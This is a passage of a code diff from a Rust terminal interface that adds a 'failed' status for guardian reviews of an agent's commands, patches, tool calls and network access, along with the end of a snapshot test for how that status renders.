crate::insert_history::insert_history_lines(&mut term, lines)
.expect("Failed to insert history lines in test");
}
term.draw(|f| {
chat.render(f.area(), f.buffer_mut());
})
.expect("draw guardian failure history");
assert_chatwidget_snapshot!(
"guardian_failed_exec_renders_warning_and_failed_request",
normalize_snapshot_paths(term.backend().vt100().screen().contents())
);
}
#[tokio::test]
async fn app_server_guardian_review_started_sets_review_status() {
let (mut chat, _rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
codex-rs/tui/src/chatwidget/tool_requests.rs
+41
View File
@@ -209,6 +209,47 @@ impl ChatWidget {
return;
}
if ev.status == GuardianAssessmentStatus::Failed {
let cell = if let Some(command) = guardian_command(&ev.action) {
history_cell::new_approval_decision_cell(
history_cell::ApprovalDecisionSubject::Command(command),
crate::history_cell::ReviewDecision::Failed,
history_cell::ApprovalDecisionActor::Guardian,
)
} else {
match &ev.action {
GuardianAssessmentAction::ApplyPatch { files, .. } => {
let files = files
.iter()
.map(|path| path.display().to_string())
.collect::<Vec<_>>();
history_cell::new_guardian_failed_patch_request(files)
}
GuardianAssessmentAction::McpToolCall {
server, tool_name, ..
} => history_cell::new_guardian_failed_action_request(format!(
"codex could call MCP tool {server}.{tool_name}"
)),
GuardianAssessmentAction::NetworkAccess { target, .. } => {
history_cell::new_guardian_failed_action_request(format!(
"codex could access {target}"
))
}
GuardianAssessmentAction::RequestPermissions { reason, .. } => {
history_cell::new_guardian_failed_action_request(
permission_request_summary("codex could request permissions", reason),
)
}
GuardianAssessmentAction::Command { .. } => unreachable!(),
GuardianAssessmentAction::Execve { .. } => unreachable!(),
}
};
self.add_boxed_history(cell);
self.request_redraw();
return;
}
if ev.status != GuardianAssessmentStatus::Denied {
return;
}
codex-rs/tui/src/history_cell/approvals.rs
+61
View File
@@ -33,6 +33,7 @@ pub(crate) enum ReviewDecision {
},
Denied,
TimedOut,
Failed,
Abort,
}
@@ -226,6 +227,34 @@ pub fn new_approval_decision_cell(
],
),
},
Failed => match subject {
ApprovalDecisionSubject::Command(command) => {
let summary = if let Some(snippet) = non_empty_exec_snippet(&command) {
vec![
"Review ".into(),
"failed".bold(),
" before codex could run ".into(),
Span::from(snippet).dim(),
]
} else {
vec![
"Review ".into(),
"failed".bold(),
" before this request could be approved".into(),
]
};
("✗ ".red(), summary)
}
ApprovalDecisionSubject::NetworkAccess { target } => (
"✗ ".red(),
vec![
"Review ".into(),
"failed".bold(),
" before codex could access ".into(),
Span::from(target).dim(),
],
),
},
Abort => match subject {
ApprovalDecisionSubject::Command(command) => {
let summary = if let Some(snippet) = non_empty_exec_snippet(&command) {
@@ -352,6 +381,38 @@ pub fn new_guardian_timed_out_action_request(summary: String) -> Box<dyn History
Box::new(PrefixedWrappedHistoryCell::new(line, "✗ ".red(), " "))
}
pub fn new_guardian_failed_patch_request(files: Vec<String>) -> Box<dyn HistoryCell> {
let mut summary = vec![
"Review ".into(),
"failed".bold(),
" before codex could apply ".into(),
];
if files.len() == 1 {
summary.push("a patch touching ".into());
summary.push(Span::from(files[0].clone()).dim());
} else {
summary.push("a patch touching ".into());
summary.push(Span::from(files.len().to_string()).dim());
summary.push(" files".into());
}
Box::new(PrefixedWrappedHistoryCell::new(
Line::from(summary),
"✗ ".red(),
" ",
))
}
pub fn new_guardian_failed_action_request(summary: String) -> Box<dyn HistoryCell> {
let line = Line::from(vec![
"Review ".into(),
"failed".bold(),
" before ".into(),
Span::from(summary).dim(),
]);
Box::new(PrefixedWrappedHistoryCell::new(line, "✗ ".red(), " "))
}
/// Cyan history cell line showing the current review status.
pub(crate) fn new_review_status_line(message: String) -> PlainHistoryCell {
PlainHistoryCell {